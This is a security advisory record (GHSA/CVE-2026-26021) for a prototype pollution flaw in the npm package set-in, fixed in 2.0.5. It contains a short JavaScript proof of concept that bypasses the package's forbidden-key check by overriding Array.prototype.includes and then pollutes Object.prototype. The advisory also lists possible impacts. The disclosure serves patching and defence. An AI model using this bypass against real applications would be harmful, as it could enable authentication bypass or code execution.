CVE-2026-26021: Set in Set-in Affected By Prototype Pollution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2c4m-g7rx-63q7",
  "modified" : "2026-02-12T14:19:12Z",
  "published" : "2026-02-11T15:13:28Z",
  "aliases" : [ "CVE-2026-26021" ],
  "summary" : "set-in Affected by Prototype Pollution",
  "details" : "### Summary\nA prototype pollution vulnerability exists in the the npm package set-in (>=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.\n\n### Details\nThe vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n#### Steps to reproduce\n1. Install latest version of set-in using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nArray.prototype.includes = () => false; \nconst si = require('set-in');\nconst obj = {};\nconsole.log({}.polluted);\nsi(obj, [\n    'constructor',\n    'prototype',\n    'polluted'\n], 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }');  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "set-in"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.1"
      }, {
        "fixed" : "2.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ahdinosaur/set-in/security/advisories/GHSA-2c4m-g7rx-63q7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26021"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ahdinosaur/set-in/pull/6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ahdinosaur/set-in/commit/34842cc02de3fd65d6f8bd0b268347e7b390125b"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ahdinosaur/set-in/commit/6bad255961d379e4b1f5fbc52ef9dc8420816f24"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ahdinosaur/set-in/commit/b8e1dabfdbd35c8d604b6324e01d03f280256c3d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ahdinosaur/set-in/commit/d87c1a09fa2edb55cd76440a67d83d1cb828df11"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ahdinosaur/set-in"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-11T15:13:28Z",
    "nvd_published_at" : "2026-02-11T22:15:52Z"
  }
}